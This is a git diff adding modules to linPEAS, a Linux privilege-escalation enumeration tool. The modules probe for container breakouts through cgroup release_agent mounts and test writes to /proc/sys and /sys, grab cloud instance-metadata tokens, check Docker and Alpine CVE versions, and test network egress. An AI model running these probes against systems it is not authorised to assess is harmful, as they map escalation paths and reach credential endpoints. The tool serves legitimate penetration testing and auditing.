0000000..0274791 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/9_My_home.sh @@ -0,0 +1,20 @@ +# Title: Interesting Files - Files inside HOME +# ID: IF_My_home +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Files inside HOME +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title +# Global Variables: $HOME, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Files inside $HOME (limit 20)" + (ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/checkContainerExploits.sh b/linPEAS/builder/linpeas_parts/functions/checkContainerExploits.sh new file mode 100644 index 0000000..55216b4 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/checkContainerExploits.sh @@ -0,0 +1,24 @@ +# Title: Container - checkContainerExploits +# ID: checkContainerExploits +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the container is vulnerable to CVE-2019-5021 +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_no +# Global Variables: +# Initial Functions: +# Generated Global Variables: $VULN_CVE_2019_5021, $alpineVersion +# Fat linpeas: 0 +# Small linpeas: 1 + + +checkContainerExploits() { + VULN_CVE_2019_5021="$(echo_no)" + if [ -f "/etc/alpine-release" ]; then + alpineVersion=$(cat /etc/alpine-release) + if [ "$(echo $alpineVersion | sed 's,\.,,g')" -ge "330" ] && [ "$(echo $alpineVersion | sed 's,\.,,g')" -le "360" ]; then + VULN_CVE_2019_5021="Yes" + fi + fi +} diff --git a/linPEAS/builder/linpeas_parts/functions/checkCreateReleaseAgent.sh b/linPEAS/builder/linpeas_parts/functions/checkCreateReleaseAgent.sh new file mode 100644 index 0000000..f4b0b69 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/checkCreateReleaseAgent.sh @@ -0,0 +1,25 @@ +# Title: Container - checkCreateReleaseAgent +# ID: checkCreateReleaseAgent +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the container is vulnerable to release agent breakout +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $release_agent_breakout3 +# Fat linpeas: 0 +# Small linpeas: 1 + + +checkCreateReleaseAgent(){ + cat /proc/$$/cgroup 2>/dev/null | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$' | while read -r ss + do + if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $ss cgroup /tmp/cgroup_3628d4 2>&1 >/dev/null && test -w /tmp/cgroup_3628d4/release_agent" >/dev/null 2>&1 ; then + release_agent_breakout3="Yes (unshare with $ss)"; + rm -rf /tmp/cgroup_3628d4 + break + fi + done +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/checkDockerRootless.sh b/linPEAS/builder/linpeas_parts/functions/checkDockerRootless.sh new file mode 100644 index 0000000..417654d --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/checkDockerRootless.sh @@ -0,0 +1,21 @@ +# Title: Container - checkDockerRootless +# ID: checkDockerRootless +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the container is running in rootless mode +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: $TIP_DOCKER_ROOTLESS +# Initial Functions: +# Generated Global Variables: $DOCKER_ROOTLESS +# Fat linpeas: 0 +# Small linpeas: 1 + + +checkDockerRootless() { + DOCKER_ROOTLESS="No" + if docker info 2>/dev/null|grep -q rootless; then + DOCKER_ROOTLESS="Yes ($TIP_DOCKER_ROOTLESS)" + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/checkDockerVersionExploits.sh b/linPEAS/builder/linpeas_parts/functions/checkDockerVersionExploits.sh new file mode 100644 index 0000000..26e4d0c --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/checkDockerVersionExploits.sh @@ -0,0 +1,38 @@ +# Title: Container - checkDockerVersionExploits +# ID: checkDockerVersionExploits +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the container is vulnerable to CVE-2019-13139 and CVE-2019-5736 +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_no, echo_not_found +# Global Variables: $dockerVersion +# Initial Functions: +# Generated Global Variables: $VULN_CVE_2019_13139, $VULN_CVE_2019_5736, $VULN_CVE_2021_41091 +# Fat linpeas: 0 +# Small linpeas: 1 + + +checkDockerVersionExploits() { + if echo "$dockerVersion" | grep -iq "not found"; then + VULN_CVE_2019_13139="$(echo_not_found)" + VULN_CVE_2019_5736="$(echo_not_found)" + VULN_CVE_2021_41091="$(echo_not_found)" + return + fi + + VULN_CVE_2019_13139="$(echo_no)" + if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "1895" ]; then + VULN_CVE_2019_13139="Yes" + fi + + VULN_CVE_2019_5736="$(echo_no)" + if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "1893" ]; then + VULN_CVE_2019_5736="Yes" + fi + + VULN_CVE_2021_41091="$(echo_no)" + if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "20109" ]; then + VULN_CVE_2021_41091="Yes" + fi +} diff --git a/linPEAS/builder/linpeas_parts/functions/checkProcSysBreakouts.sh b/linPEAS/builder/linpeas_parts/functions/checkProcSysBreakouts.sh new file mode 100644 index 0000000..cbc8745 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/checkProcSysBreakouts.sh @@ -0,0 +1,78 @@ +# Title: Container - checkProcSysBreakouts +# ID: checkProcSysBreakouts +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the container is vulnerable to several breakouts abusing /sys and /proc folders +# License: GNU GPL +# Version: 1.0 +# Functions Used: checkCreateReleaseAgent +# Global Variables: +# Initial Functions: +# Generated Global Variables: $dev_mounted, $proc_mounted, $run_unshare, $release_agent_breakout1, $release_agent_breakout2, $core_pattern_breakout, $modprobe_present, $panic_on_oom_dos, $panic_on_oom, $panic_on, $panic_sys_fs_dos, $binfmt_misc_breakout, $proc_configgz_readable, $sysreq_trigger_dos, $kmsg_readable, $kallsyms_readable, $self_mem_readable, $mem_readable, $kmem_readable, $kmem_writable, $mem_writable, $sched_debug_readable, $mountinfo_readable, $uevent_helper_breakout, $vmcoreinfo_readable, $security_present, $security_writable, $efi_vars_writable, $efi_efivars_writable, $kcore_readable +# Fat linpeas: 0 +# Small linpeas: 1 + + +checkProcSysBreakouts(){ + dev_mounted="No" + if [ $(ls -l /dev | grep -E "^c" | wc -l) -gt 50 ]; then + dev_mounted="Yes"; + fi + + proc_mounted="No" + if [ $(ls /proc | grep -E "^[0-9]" | wc -l) -gt 50 ]; then + proc_mounted="Yes"; + fi + + run_unshare=$(unshare -UrmC bash -c 'echo -n Yes' 2>/dev/null) + if ! [ "$run_unshare" = "Yes" ]; then + run_unshare="No" + fi + + if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then + release_agent_breakout1="Yes" + else + release_agent_breakout1="No" + fi + + release_agent_breakout2="No" + mkdir /tmp/cgroup_3628d4 + mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null + if [ $? -eq 0 ]; then + release_agent_breakout2="Yes"; + rm -rf /tmp/cgroup_3628d4 + else + mount -t cgroup -o rdma cgroup /tmp/cgroup_3628d4 2>/dev/null + if [ $? -eq 0 ]; then + release_agent_breakout2="Yes"; + rm -rf /tmp/cgroup_3628d4 + else + checkCreateReleaseAgent + fi + fi + rm -rf /tmp/cgroup_3628d4 2>/dev/null + + core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)" + modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` 2>/dev/null || echo No)" + panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)" + panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)" + binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)" + proc_configgz_readable="$([ -r '/proc/config.gz' ] 2>/dev/null && echo Yes || echo No)" + sysreq_trigger_dos="$( (echo -n '' > /proc/sysrq-trigger && echo Yes) 2>/dev/null || echo No)" + kmsg_readable="$( (dmesg > /dev/null 2>&1 && echo Yes) 2>/dev/null || echo No)" # Kernel Exploit Dev + kallsyms_readable="$( (head -n 1 /proc/kallsyms > /dev/null && echo Yes )2>/dev/null || echo No)" # Kernel Exploit Dev + self_mem_readable="$( (head -n 1 /proc/self/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" + if [ "$(head -n 1 /tmp/kcore 2>/dev/null)" ]; then kcore_readable="Yes"; else kcore_readable="No"; fi + kmem_readable="$( (head -n 1 /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)" + kmem_writable="$( (echo -n '' > /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)" + mem_readable="$( (head -n 1 /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" + mem_writable="$( (echo -n '' > /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" + sched_debug_readable="$( (head -n 1 /proc/sched_debug > /dev/null && echo Yes) 2>/dev/null || echo No)" + mountinfo_readable="$( (head -n 1 /proc/*/mountinfo > /dev/null && echo Yes) 2>/dev/null || echo No)" + uevent_helper_breakout="$( (echo -n '' > /sys/kernel/uevent_helper && echo Yes) 2>/dev/null || echo No)" + vmcoreinfo_readable="$( (head -n 1 /sys/kernel/vmcoreinfo > /dev/null && echo Yes) 2>/dev/null || echo No)" + security_present="$( (ls -l /sys/kernel/security > /dev/null && echo Yes) 2>/dev/null || echo No)" + security_writable="$( (echo -n '' > /sys/kernel/security/a && echo Yes) 2>/dev/null || echo No)" + efi_vars_writable="$( (echo -n '' > /sys/firmware/efi/vars && echo Yes) 2>/dev/null || echo No)" + efi_efivars_writable="$( (echo -n '' > /sys/firmware/efi/efivars && echo Yes) 2>/dev/null || echo No)" +} diff --git a/linPEAS/builder/linpeas_parts/functions/check_aliyun_ecs.sh b/linPEAS/builder/linpeas_parts/functions/check_aliyun_ecs.sh new file mode 100644 index 0000000..86c575a --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/check_aliyun_ecs.sh @@ -0,0 +1,22 @@ +# Title: Cloud - check_aliyun_ecs +# ID: check_aliyun_ecs +# Author: Carlos Polop +# Last Update: 24-01-2024 +# Description: Check if the script is running in Alibaba +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $is_aliyun_ecs +# Fat linpeas: 0 +# Small linpeas: 1 + + + +check_aliyun_ecs () { + is_aliyun_ecs="No" + if [ -f "/etc/cloud/cloud.cfg.d/aliyun_cloud.cfg" ]; then + is_aliyun_ecs="Yes" + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/check_aws_codebuild.sh b/linPEAS/builder/linpeas_parts/functions/check_aws_codebuild.sh new file mode 100644 index 0000000..59540cc --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/check_aws_codebuild.sh @@ -0,0 +1,22 @@ +# Title: Cloud - check_aws_codebuild +# ID: check_aws_codebuild +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the script is running in AWS CodeBuild +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $is_aws_codebuild +# Fat linpeas: 0 +# Small linpeas: 1 + + +check_aws_codebuild(){ + is_aws_codebuild="No" + + if [ -f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then + is_aws_codebuild="Yes" + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/check_aws_ec2.sh b/linPEAS/builder/linpeas_parts/functions/check_aws_ec2.sh new file mode 100644 index 0000000..bbc4412 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/check_aws_ec2.sh @@ -0,0 +1,34 @@ +# Title: Cloud - check_aws_ec2 +# ID: check_aws_ec2 +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the script is running in AWS EC2 +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $is_aws_ec2, $is_aws_ec2_beanstalk, $EC2_TOKEN +# Fat linpeas: 0 +# Small linpeas: 1 + + +check_aws_ec2(){ + is_aws_ec2="No" + is_aws_ec2_beanstalk="No" + + if [ -d "/var/log/amazon/" ]; then + is_aws_ec2="Yes" + EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) + + else + EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) + if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then + is_aws_ec2="Yes" + fi + fi + + if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then + is_aws_ec2_beanstalk="Yes" + fi +} diff --git a/linPEAS/builder/linpeas_parts/functions/check_aws_ecs.sh b/linPEAS/builder/linpeas_parts/functions/check_aws_ecs.sh new file mode 100644 index 0000000..1052d56 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/check_aws_ecs.sh @@ -0,0 +1,35 @@ +# Title: Cloud - check_aws_ecs +# ID: check_aws_ecs +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the script is running in AWS ECS +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $is_aws_ecs, $aws_ecs_metadata_uri, $aws_ecs_service_account_uri +# Fat linpeas: 0 +# Small linpeas: 1 + + +check_aws_ecs(){ + is_aws_ecs="No" + if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then + is_aws_ecs="Yes"; + aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4; + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + + elif (env | grep -q ECS_CONTAINER_METADATA_URI); then + is_aws_ecs="Yes"; + aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI; + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + + elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then + is_aws_ecs="Yes"; + fi + + if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/check_aws_lambda.sh b/linPEAS/builder/linpeas_parts/functions/check_aws_lambda.sh new file mode 100644 index 0000000..acbb100 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/check_aws_lambda.sh @@ -0,0 +1,22 @@ +# Title: Cloud - check_aws_lambda +# ID: check_aws_lambda +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the script is running in AWS Lambda +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $is_aws_lambda +# Fat linpeas: 0 +# Small linpeas: 1 + + +check_aws_lambda(){ + is_aws_lambda="No" + + if (env | grep -q AWS_LAMBDA_); then + is_aws_lambda="Yes" + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/check_az_app.sh b/linPEAS/builder/linpeas_parts/functions/check_az_app.sh new file mode 100644 index 0000000..f716d65 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/check_az_app.sh @@ -0,0 +1,22 @@ +# Title: Cloud - check_az_app +# ID: check_az_app +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the script is running in Azure App Service +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $is_az_app +# Fat linpeas: 0 +# Small linpeas: 1 + + +check_az_app(){ + is_az_app="No" + + if [ -d "/opt/microsoft" ] && env | grep -q "IDENTITY_ENDPOINT"; then + is_az_app="Yes" + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/check_az_vm.sh b/linPEAS/builder/linpeas_parts/functions/check_az_vm.sh new file mode 100644 index 0000000..5fbb690 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/check_az_vm.sh @@ -0,0 +1,25 @@ +# Title: Cloud - check_az_vm +# ID: check_az_vm +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the script is running in Azure VM +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $is_az_vm +# Fat linpeas: 0 +# Small linpeas: 1 + + +check_az_vm(){ + is_az_vm="No" + + if [ -d "/var/log/azure/" ]; then + is_az_vm="Yes" + + elif cat /etc/resolv.conf 2>/dev/null | grep -q "search reddog.microsoft.com"; then + is_az_vm="Yes" + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/check_critial_root_path.sh b/linPEAS/builder/linpeas_parts/functions/check_critial_root_path.sh new file mode 100644 index 0000000..9909057 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/check_critial_root_path.sh @@ -0,0 +1,21 @@ +# Title: Interesting Perms Files - check_critial_root_path +# ID: check_critial_root_path +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if you have write privileges over critical root paths +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: $USER, $wgroups +# Initial Functions: +# Generated Global Variables: folder_path +# Fat linpeas: 0 +# Small linpeas: 1 + + +check_critial_root_path(){ + folder_path="$1" + if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/check_dns.sh b/linPEAS/builder/linpeas_parts/functions/check_dns.sh new file mode 100644 index 0000000..7023419 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/check_dns.sh @@ -0,0 +1,18 @@ +# Title: LinPeasBase - check_dns +# ID: check_dns +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the DNS is available +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +check_dns(){ + (timeout 20 /bin/bash -c '(( echo cfc9 0100 0001 0000 0000 0000 0a64 7563 6b64 7563 6b67 6f03 636f 6d00 0001 0001 | xxd -p -r >&3; dd bs=9000 count=1 <&3 2>/dev/null | xxd ) 3>/dev/udp/1.1.1.1/53 && echo "DNS available" || echo "DNS not available") 2>/dev/null | grep "available"' ) 2>/dev/null || echo "DNS not available" +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/check_do.sh b/linPEAS/builder/linpeas_parts/functions/check_do.sh new file mode 100644 index 0000000..292751b --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/check_do.sh @@ -0,0 +1,21 @@ +# Title: Cloud - check_do +# ID: check_do +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the script is running in Digital Ocean +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $is_do +# Fat linpeas: 0 +# Small linpeas: 1 + + +check_do(){ + is_do="No" + if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then + is_do="Yes" + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/check_gcp.sh b/linPEAS/builder/linpeas_parts/functions/check_gcp.sh new file mode 100644 index 0000000..698f22f --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/check_gcp.sh @@ -0,0 +1,27 @@ +# Title: Cloud - check_gcp +# ID: check_gcp +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the script is running in GCP +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $is_gcp_vm, $is_gcp_function +# Fat linpeas: 0 +# Small linpeas: 1 + + +check_gcp(){ + is_gcp_vm="No" + is_gcp_function="No" + if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then + is_gcp_vm="Yes" + fi + # CHeck if /workspace exists + if [ -d "/workspace" ] && [ -d "/layers" ]; then + is_gcp_vm="No" + is_gcp_function="Yes" + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/check_ibm_vm.sh b/linPEAS/builder/linpeas_parts/functions/check_ibm_vm.sh new file mode 100644 index 0000000..a29e122 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/check_ibm_vm.sh @@ -0,0 +1,25 @@ +# Title: Cloud - check_ibm_vm +# ID: check_ibm_vm +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the script is running in IBM VM +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $is_ibm_vm, $IBM_TOKEN +# Fat linpeas: 0 +# Small linpeas: 1 + + +check_ibm_vm(){ + is_ibm_vm="No" + if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then + curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1 + if [ "$?" -eq 0 ]; then + IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) ) + is_ibm_vm="Yes" + fi + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/check_icmp.sh b/linPEAS/builder/linpeas_parts/functions/check_icmp.sh new file mode 100644 index 0000000..2a1934b --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/check_icmp.sh @@ -0,0 +1,18 @@ +# Title: LinPeasBase - check_tcp_443 +# ID: check_icmp +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if ICMP is available +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +check_icmp(){ + (timeout -s KILL 20 /bin/bash -c '(ping -c 1 1.1.1.1 | grep "1 received" && echo "Ping is available" || echo "Ping is not available") 2>/dev/null | grep "available"') 2>/dev/null || echo "Ping is not available" +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/check_if_su_brute.sh b/linPEAS/builder/linpeas_parts/functions/check_if_su_brute.sh new file mode 100644 index 0000000..6840eae --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/check_if_su_brute.sh @@ -0,0 +1,22 @@ +# Title: LinPeasBase - check_if_su_brute +# ID: check_if_su_brute +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Try to brute-force su +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $EXISTS_SU, $error +# Fat linpeas: 0 +# Small linpeas: 1 + + +check_if_su_brute(){ + EXISTS_SU="$(command -v su 2>/dev/null || echo -n '')" + error=$(echo "" | timeout 1 su $(whoami) -c whoami 2>&1); + if [ "$EXISTS_SU" ] && ! echo $error | grep -q "must be run from a terminal"; then + echo "1" + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/check_tcp_443.sh b/linPEAS/builder/linpeas_parts/functions/check_tcp_443.sh new file mode 100644 index 0000000..d08ae0e --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/check_tcp_443.sh @@ -0,0 +1,18 @@ +# Title: LinPeasBase - check_tcp_443 +# ID: check_tcp_443 +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if TCP Internet conns are available (via port 443) +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +check_tcp_443(){ + (timeout -s KILL 20 /bin/bash -c '(echo >/dev/tcp/1.1.1.1/443 && echo "Port 443 is accessible" || echo "Port 443 is not accessible") 2>/dev/null | grep "accessible"') 2>/dev/null || echo "Port 443 is not accessible" +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/check_tcp_80.sh b/linPEAS/builder/linpeas_parts/functions/check_tcp_80.sh new file mode 100644 index 0000000..a183129 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/check_tcp_80.sh @@ -0,0 +1,18 @@ +# Title: LinPeasBase - execBin +# ID: check_tcp_80 +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if TCP Internet conns are available (via port 80) +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +check_tcp_80(){ + (timeout -s KILL 20 /bin/bash -c '( echo >/dev/tcp/1.1.1.1/80 && echo "Port 80 is accessible" || echo "Port 80 is not accessible") 2>/dev/null | grep "accessible"') 2>/dev/null || echo "Port 80 is not accessible" +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/check_tencent_cvm.sh b/linPEAS/builder/linpeas_parts/functions/check_tencent_cvm.sh new file mode 100644 index 0000000..7353856 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/check_tencent_cvm.sh @@ -0,0 +1,22 @@ +# Title: Cloud - check_tencent_cvm +# ID: check_tencent_cvm +# Author: Ahadowabi +# Last Update: 24-01-2024 +# Description: Check if the script is running in tencent +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $is_tencent_cvm +# Fat linpeas: 0 +# Small linpeas: 1 + + + +check_tencent_cvm () { + is_tencent_cvm="No" + if [ -f "/etc/cloud/cloud.cfg.d/05_logging.cfg" ] || grep -qi Tencent /etc/cloud/cloud.cfg; then + is_tencent_cvm="Yes" + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/containerCheck.sh b/linPEAS/builder/linpeas_parts/functions/containerCheck.sh new file mode 100644 index 0000000..02395a6 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/containerCheck.sh @@ -0,0 +1,71 @@ +# Title: Container - containerCheck +# ID: containerCheck +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if we are inside a container +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_no +# Global Variables: +# Initial Functions: +# Generated Global Variables: $inContainer, $containerType +# Fat linpeas: 0 +# Small linpeas: 1 + + +containerCheck() { + inContainer="" + containerType="$(echo_no)" + + # Are we inside docker? + if [ -f "/.dockerenv" ] || + grep "/docker/" /proc/1/cgroup -qa 2>/dev/null || + grep -qai docker /proc/self/cgroup 2>/dev/null || + [ "$(find / -maxdepth 3 -name '*dockerenv*' -exec ls -la {} \; 2>/dev/null)" ] ; then + + inContainer="1" + containerType="docker\n" + fi + + # Are we inside kubenetes? + if grep "/kubepod" /proc/1/cgroup -qa 2>/dev/null || + grep -qai kubepods /proc/self/cgroup 2>/dev/null; then + + inContainer="1" + if [ "$containerType" ]; then containerType="$containerType (kubernetes)\n" + else containerType="kubernetes\n" + fi + fi + + # Inside concourse? + if grep "/concourse" /proc/1/mounts -qa 2>/dev/null; then + inContainer="1" + if [ "$containerType" ]; then + containerType="$containerType (concourse)\n" + fi + fi + + # Are we inside LXC? + if env | grep "container=lxc" -qa 2>/dev/null || + grep "/lxc/" /proc/1/cgroup -qa 2>/dev/null; then + + inContainer="1" + containerType="lxc\n" + fi + + # Are we inside podman? + if env | grep -qa "container=podman" 2>/dev/null || + grep -qa "container=podman" /proc/1/environ 2>/dev/null; then + + inContainer="1" + containerType="podman\n" + fi + + # Check for other container platforms that report themselves in PID 1 env + if [ -z "$inContainer" ]; then + if grep -a 